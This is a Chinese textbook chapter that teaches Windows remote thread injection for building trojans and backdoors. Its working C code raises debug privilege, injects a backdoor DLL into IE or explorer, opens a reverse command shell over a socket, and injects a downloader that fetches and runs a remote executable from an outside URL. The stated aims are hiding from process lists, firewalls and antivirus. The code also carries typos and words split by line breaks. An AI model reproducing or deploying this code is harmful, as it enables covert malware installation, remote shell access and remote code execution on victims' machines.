4.1 远程线程技术介绍
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道在进程中,可以通过CreateThread函数创建线程,使被创建的新线程与主线程共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread同样也可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程的地址空间。所以实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如,在远程进程内部启动一个DLL木马。
4.1.1 初步的远程线程注入技术
远程线程中的远程不是跨越计算机,而是跨越进程。假如有A和B两个进程,其中A是系统的正常进程,而B是木马进程。如果A进程中启动一个新线程,并且用这个线程来实现木马功能,当新线程启动后,B进程自动退出。此时在进程列表中就看不到木马线程,并且新线程是通过系统正常进程访问网络,就不会被防火墙拦截。首先,我们通过OpenProcess来打开我们试图嵌入的进程,如果远程进程不允许打开,那么嵌入就无法进行了。这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限,拥有和那个远程进程相当的权限,可以在远程进程中执行代码,从而达到远程进程控制、进程隐藏的目的。
创建远程线程的一般流程如图所示。
创建远程线程的一般流程
① 先需要提升后门进行权限,这里只需把自身进程权限设置为调试权限。如果要注入的是系统进程,且没有提升后门权限,当调用OpenProcess函数时,就会返回NULl。
提升后门自身权限的代码就是模板函数(EnableDebugPriv),其具体内容如下。
int EnableDebugPriv(const char * name) { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; //打开进程令牌环 if(! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error\n"); return 1; } //获得进程本地唯一ID if(! LookupPrivilegeValue(NULL, name, &luid)) { printf("LookupPrivilege error! \n"); } tp.PrivilegeCount = 1; tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; //调整进程权限 if(! AdjustTokenPrivileges(hToken,0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) ) { printf("AdjustTokenPrivileges error! \n"); return 1; } return 0; }
如果想提升自身调试权限,则可以用以下的格式调用该函数。
if(EnableDebugPriv(SE_DEBUG_NAME)) //获得调试权限 { printf("add privilege error"); return FALSE; }
② 在成功提升后门进程权限后,就可以调用OpenProcess函数打开目标进程,只需将OpenProcess函数的第一个参数dwDesiredAccess指向进行对象。由于是创建远程线程,可将其值直接设置为Process_ALL_ACCESS,即所有权限。其函数的具体调用方式如下。
if((hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemot eProcessId))==NULL) //打开目标进程 { printf("OpenProcess error\n"); return FALSE; }
③ 在写入内存之前,需要让系统分配一个内存空间。这里使用VirtualAllocEx函数来实现,其具体格式如下。
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
各个参数的具体作用如下。
· hProcess:申请内存所在的进程句柄。
· lpAddress:保留页面的内存地址;一般用NULL自动分配。
· dwSize:欲分配的内存大小,字节单位;注意实际分配的内存大小是页内存大小的整数倍。
· flAllocationType:设置内存空间的属性,要保留还是提交给物理存储器,这里设置为MEM_COMMT,即保留。
· flProtect:内存空间的保护属性,这里设置为PAGE_READWRITE可读写。
如果该函数调用成功,则返回申请的内存空间首地址。在申请内存空间之后,就可以将木马DLL全路径文件名的字符串写入该内存中。
在写入过程中需调用WriteProcessMemory函数,其具体格式如下。
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpBuffer, DWORD nSize, LPDWORD lpNumberOfBytesWritten );
各个参数的具体含义如下。
· hProcess:要写入进程内存的进程句柄。
· lpBaseAddress:要写入内存的起始地址,由VirtualAllocEx函数返回。
· lpBuffer:要写入数据的缓冲区。
· nSize:要写入的字节数。
· lpNumberOfBytesWritten:实际写入的字节数。
如果写入内存成功,则返回TRUE,这部分实现代码如下。
char *pszLibFileRemote; //申请存放dll文件名的路径 pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE); if(pszLibFileRemote==NULL) { printf("VirtualAllocEx error\n"); return FALSE; } //把dll的完整路径写入到内存 if(WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DllFullPath, lstrlen(DllFullPat h)+1, NULL) == 0) { printf("WriteProcessMemory error\n"); return FALSE; }
④ 由于LoadLibrary函数是一个KERNEL32.DLL文件导出函数,每个系统进程都会加载这个DLL,所以该函数的代码就会映射到每个系统进程中。由于KERNEL32.DLL是系统的DLL,所以不同进程中同一函数的地址是相同的,本进程的LoadLibrary函数地址也可以同于其他进程。
可以使用GetProAddress函数得到LoadLibrary函数的地址,该函数的调用形式如下。
GetProcAddress(GetModuleHandle(TEXT(“Kernel”)),“LoadLibararyA”);
其中GetModuleHandle函数的作用是获取一个应用程序或动态链接库的模块句柄,它只包含一个参数,该参数指向一个模块的文件名。如果该函数调用成功,则返回模块句柄。
⑤ 要创建一个远程线程,则需使用微软提供的CreateRemoteThread函数。该函数可以在其他进程中创建新线程,其具体格式如下。
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
各个参数的作用如下。
· hProcess:要创建远程线程的进程句柄。
· lpThreadAttributes:指向线程的安全描述结构体的指针,一般设置为NULL,表示使用默认的安全级别。
· dwStackSize:线程堆栈大小,一般设置为0,表示使用默认的大小,一般为1M。
· lpStartAddress:线程函数的地址。它不是指向本身进程内存中的函数地址,而是指向目标进行内存中的函数地址。
· lpParameter:线程参数。
· dwCreationFlags:线程的创建方式,其中CREATE_SUSPENDED是以挂起方式创建。
· lpThreadId:输出参数,记录创建的远程线程的ID。
可以看出这个函数是CreateThread函数的扩充,但是它比CreateThread函数多了hProcess参数,该参数指向要创建新线程的进程的句柄。
注意
在编程过程中如果注入的进程不是系统进程(如IE进程),则在注入进程前调用CreateRemoteThread也是不会出错的。
有了上面的基础,就可以很容易写出注入函数,具体的内容如下。
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId) { HANDLE hRemoteProcess; if(EnableDebugPriv(SE_DEBUG_NAME)) //获得调试权限 { printf("add privilege error"); return FALSE; } if((hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemot eProcessId))==NULL) //打开目标进程 { printf("OpenProcess error\n"); return FALSE; } char *pszLibFileRemote; pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE); //申请存 放dll文件名的路径 if(pszLibFileRemote==NULL) { printf("VirtualAllocEx error\n"); return FALSE; } if(WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void*)Dl lFullPath, lstrlen(DllFullPath)+1, NULL) == 0) //把dll的完整路径写入 到内存 { printf("WriteProcessMemory error\n"); return FALSE; } PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE) //得 到LoadLibraryA函数地址 GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); if(pfnStartAddr == NULL) { printf("GetProcAddress error\n"); return FALSE; } HANDLE hRemoteThread; if( (hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL,0, pfnStartAddr, pszLibFileRemote,0, NULL))==NULL) //启动远程线程 { printf("CreateRemoteThread error\n"); return FALSE; } return TRUE; }
可以看出InjectDll函数包含DllFullPath和dwRemoteProcessId两个参数,前者是后门dll全文件名,而后者是需要插入进程的ID号。如果该函数调用成功,则返回TRUE。
到这里注入功能还没有实现,因为要传递给InjectDll函数是一个进程的ID,如要注入explorer.exe进程,则要给InjectDll函数传递该进程的ID号。而每次启动explorer.exe时,其所对应的进程ID都是不同的,所以就必须通过进程名来得到进程ID。
下面通过GetProcessID函数得到进程ID的具体实现代码。
DWORD GetProcessID(char *ProcessName) { PROCESSENTRY32 pe32; pe32.dwSize=sizeof(pe32); HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_ SNAPPROCESS,0); //获得系统内所有进程快照 if(hProcessSnap==INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot error"); return 0; } BOOL bProcess=Process32First(hProcessSnap, &pe32); //枚举列表中的 第一个进程 while(bProcess) { if(strcmp(strupr(pe32.szExeFile), strupr(ProcessName))==0) //比较找到的进程名和我们要查找的进程名,一样则返回进程id return pe32.th32ProcessID; bProcess=Process32Next(hProcessSnap, &pe32); //继续查找 } CloseHandle(hProcessSnap); return 0; }
不难看出该函数只有一个参数,其作用是指向要查找进程名的字符串指针。如果该函数调用成功则返回进程ID,否则将返回0。
在得到进程ID号后,就可以对IE进程进行注入,其实现代码如下。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char Path[255]; char DllPath[255]; GetSystemDirectory(Path, sizeof(Path)); //得到Widnows系统路径 Path[3]=0x00; //0x00截断字符,得到盘符 strcat(Path, "Program Files\\Internet Explorer\\iexplore.exe"); //得到IE带路径文件名 WinExec(Path, SW_HIDE); //启动IE,为了防止系统中没有IE进程 Sleep(5000); //暂停5秒,等待IE启动 DWORD Pid=GetProcessID("iexplore.exe"); //得到IE进程 GetCurrentDirectory(sizeof(DllPath), DllPath); //得到程序自身 路径 strcat(DllPath, "\\BackDoorDll.dll"); //得到DLL带路径文件名 InjectDll(DllPath, Pid); //注入IE进程 return 0; }
其中,Sleep函数可让程序暂停指定的时间。它只有一个参数,该参数表示要暂停的毫秒数。而WinExec函数用于运行指定的程序,它有两个参数,第一个参数是指向要运行程序带路径文件名的字符串指针;而第二个参数定义启动程序的常数值,SW_HIDE表示隐藏窗口。
4.1.2 远程线程注入后门编程案例
如果后门运用了远程线程技术,当然就没有进程,同时访问网络也是通过系统正常进程来完成,所以就可以避开防火墙的拦截。下面介绍如何实现远程线程注入的反向链接后门。
先创建一个dll工程,再把后门代码封装成一个函数写入这个dll工程,最后在DLLMain函数中调用这个函数。但在实际操作中就会发现:注入的进程被中断。这是位于DLL中的DLLMain函数没有返回而导致其主线程的中断。为解决这个问题,可把这个后门的功能代码写成一个线程函数,在DLLMain函数中调用CreateThread函数创建并启动这个线程。
下面是一个简单DLL调用的示例。
#include "windows.h" BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad) // 这是个回调函数 也是DLL入口点 { switch(fdwReason) { case DLL_PROCESS_ATTACH: // 进程被调用 MessageBox(NULL, "DLL自身被调用", "进程被调用 ", MB_SYSTEMMODAL); break; case DLL_THREAD_ATTACH: // 线程被调用 MessageBox(NULL, "目标程序启动了一个线程", "线程被调用 ", MB_ SYSTEMMODAL); break; case DLL_PROCESS_DETACH: // 进程退出 MessageBox(NULL, "目标进程退出", "进程退出", MB_SYSTEMMODAL); break; case DLL_THREAD_DETACH: // 线程退出 MessageBox(NULL, "目标线程退出", "线程退出", MB_SYSTEMMODAL); break; } return(TRUE); }
后门DLL的实现代码如下。
DWORD WINAPI DoorThread(LPVOID lpParam) { char wMessage[512] = "\r\n-------------后门源码-------------\r\n"; BYTE minorVer = 2; BYTE majorVer = 2; WSADATA wsaData; WORD sockVersion = MAKEWORD(minorVer, majorVer); if(WSAStartup(sockVersion, &wsaData) ! = 0) return 0; SOCKET s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if(s == INVALID_SOCKET) { printf(" socket error \n"); return 0; } sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(4500); sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); if(connect(s, (sockaddr*)&sin, sizeof(sin)) == -1) { printf(" connect error \n"); return 0; } if (send(s, wMessage, strlen(wMessage),0)==SOCKET_ERROR) { printf("Send message error \n"); return 0; } cmdshell(s); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: //DLL被加载到内存时 { DWORD ThreadId; CreateThread(NULL, NULL, DoorThread, NULL, NULL, &ThreadId); break; } default:break; } return TRUE; }
通过上述代码,可以实现后门的DLL。该后门的编写注入程序与注册程序是一样的,这里只需在main函数中调用它即可。远程线程注入的主要目的是通过在系统进程中产生远程线程执行用户代码,而通过这种方式可以很好地实现本地进程的“隐藏”——其实不存在本地进程,因为注入线程后本地进程结束。使用DLL的注入方式比较简单,用户功能在DLL中实现,但很容易被杀软作为后门程序查杀,隐蔽性比较差。
4.1.3 远程线程技术的发展
任何一种黑客技术,都会不断发展和强大,远程线程技术当然也不例外。前面介绍的远程线程技术,由于调用LoadLibrary函数加载DLL文件,当远程线程启动后,在目标进程的模块中可以发现后门的DLL文件。
在使用DLL的情况下,也可让其在进程模块中消失。先在自身进程中装载DLL文件,返回装载入内存的首地址,还需得到该DLL模块在进程中的大小和后门线程函数的地址(该线程函数地址是DLL文件中一个导出函数);再在目标进程中申请相同大小的内存空间,得到首地址,并把自身进程空间中DLL模块的数据复制到目标进程申请的内存空间中;根据自身进程中模块的首地址、线程函数地址和目标进程中申请的内存空间的首地址,计算出目标进程中线程函数的地址;最后根据得到的地址,创建并启动远程线程。
下面详细介绍不使用DLL文件实现进程注入的方法。由于CreateRemoteThread函数的IpStartAddress参数指向的是线程函数地址(目标进程中的函数地址),因此可将木马函数写入目标进程的内存空间中调用CreateRemoteThread函数创建线程,但实现起来有一定难度。
其实先在注入程序中定位要用到的API函数的地址,写入目标进程内存就可以实现将木马函数写到目标进程的内存空间中。另外,在木马函数中还需要调用一些API函数,那么要定位到这些API函数的地址也是一个需要解决的问题。在这里,只需将用到的字符串写入目标进程内存即可解决这个问题。
综合这两个问题的解决方法,只需要先定义一个结构,在此结构中存入用到的API函数地址和字符串,最后把这个结构写入内存,从而得到写入位置的内存的起始地址。
该结构的具体内容如下。
typedef struct _RemotePara { char Url[255]; //下载文件的url char FilePath[255]; //保存文件的路径 DWORD DownAddr; //URLDownloadToFile函数的地址 DWORD ExecAddr; //WinexeC函数的地址 }RemotePara;
当然,还需把实现后门功能的线程函数写入目标进程的内存空间中。由于WriteProcess Memory函数的nsize参数是指向写入内存的字节数,所以在写入内存时需要定位线程函数的大小。在这里可以设置一个很大的值,只要写入的数据字节数不超过这个值就不会出错。
下面以插入一个IE进程的下载者为例,介绍实现进程注入的具体过程。需要先调用URLDownloadToFile函数下载文件,该函数是一个Urlmon.dll中的导出函数。
下载文件的实现代码如下。
DWORD__stdcall ThreadProc(RemotePara *lpPara) { typedef UINT (__stdcall *MWinExec)(LPCSTR lpCmdLine, UINT uCmdShow); //定义WinexeC函数的原型 typedef HRESULT (__stdcall *MURLDownloadToFile)(LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB); //定义URLDownloadToFile函数的原型 MURLDownloadToFile myURLDownloadToFile; myURLDownloadToFile=(MURLDownloadToFile)lpPara->DownAddr; //从结构中得到URLDownloadToFile函数的地址 myURLDownloadToFile(0, lpPara->Url, lpPara->FilePath,0, 0); //调用函数下载文件 MWinExec myWinExec; myWinExec=(MWinExec)lpPara->ExecAddr; //从结构中得到 WinexeC函数的地址 myWinExec(lpPara->FilePath,1); //调用函数运行下载的文件 return 0; }
当文件下载完毕之后,就需要运行下载的文件。在这里需要调用WinexeC函数,它是kernel.dll中的一个导出函数。剩下的工作就是把数据写入内存和调用相应的函数创建远程线程,其实现代码如下。
BOOL Inject(const DWORD dwRemoteProcessId) { if(EnableDebugPriv(SE_DEBUG_NAME)) //提升进程权限为调试权限 { printf("add privilege error"); return FALSE; } HANDLE hWnd=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePr ocessId); //打开进程 if (! hWnd) { printf("OpenProcess failed"); return FALSE; } void *pRemoteThread= VirtualAllocEx(hWnd, 0, 1024*4, MEM_COMMIT| MEM_RESERVE, PAGE_ EXECUTE_READWRITE); //申请内存空间 if (! pRemoteThread) { printf("VirtualAllocEx failed"); return FALSE; } if (! WriteProcessMemory(hWnd, pRemoteThread, &ThreadPr oc,1024*4,0)) //把远程的函数写入内存 { printf("WriteProcessMemory failed"); return FALSE; } RemotePara myRemotePara; //设置RemotePara结构 ZeroMemory(&myRemotePara, sizeof(RemotePara)); HINSTANCE hurlmon=LoadLibrary("urlmon.dll"); HINSTANCE kernel=LoadLibrary("kernel32.dll"); myRemotePara.DownAddr=(DWORD)GetProcAddress(hurlmon, "URLDow nloadToFileA"); myRemotePara.ExecAddr=(DWORD)GetProcAddress(kernel, "WinExec"); char urlfile[255]; strcpy(urlfi le, "http://www.snow1987.cn/a.exe"); strcpy(myRemotePara.Url, urlfi le); strcpy(myRemotePara.FilePath, "c:\\a.exe"); RemotePara *pRemotePara=(RemotePara *)VirtualAllocEx(hW nd,0, sizeof(RemotePara), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_ READWRITE); //申请内存空间 if (! pRemotePara) { printf("VirtualAllocEx failed"); return FALSE; } if (! WriteProcessMemory(hWnd, pRemotePara, &myRemotePara, size of(myRemotePara),0)) //写入内存 { printf("WriteProcessMemory failed"); return FALSE; } HANDLE hThread=CreateRemoteThread(hWnd,0,0, (LPTHREAD_START_ ROUTINE)pRemoteThread, pRemotePara,0,0); //建立线程 if (! hThread) { printf("CreateRemoteThread failed"); return FALSE; } return true; }